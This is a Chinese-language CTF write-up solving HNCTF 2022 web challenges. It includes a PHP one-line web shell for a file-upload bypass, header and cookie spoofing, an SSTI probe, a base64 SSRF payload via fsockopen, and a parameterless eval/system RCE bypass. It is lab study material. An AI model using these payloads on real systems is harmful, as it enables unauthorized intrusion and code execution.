---

[HNCTF 2022 Week1]easy_html

打开题目提示cookie有线索

访问一下url
发现要求我们输入手机号，可是只能输10位
F12查看，修改一下maxlength的值为11位
然后随便输入11位，即可得到flag

[HNCTF 2022 Week1]easy_upload

创建1.php，写入一句话木马

<?php @eval($_POST['shell']);?>

上传成功
访问./upload/1.php，然后ls看一下目录
得到flag

[HNCTF 2022 Week1]Interesting_http

根据提示，传一个我们想要的，那就传flag咯
然后是修改cookie为admin，添加X-Forwarded-For:127.0.0.1
然后让我们选择要哪个，这里发现l变成了大写的i（一直没发现。。）
得到flag

[HNCTF 2022 WEEK2]ez_SSTI

先试试

?name={{7*7}}

发现成功，猜测是Jinja2

[HNCTF 2022 WEEK2]ez_ssrf

源代码

 <?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
} 

简单分析一下，fsockopen能够使用socket与服务器进行tcp连接，并传输数据，host、port和数据都能定义，存在SSRF
扫一下目录，发现有./flag.php
提示本地127.0.0.1和80端口
这里应该是从index.php传参，ssrf然后访问到flag.php
将data值base64编码一下

payload

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag

[HNCTF 2022 WEEK2]Canyource

源代码

 <?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>

分析一下，可以发现是无参rce，同时过滤的不算严重。
我们利用无参函数构造

payload

?code=eval(end(current(get_defined_vars())));&a=system("cat flag.php");

得到flag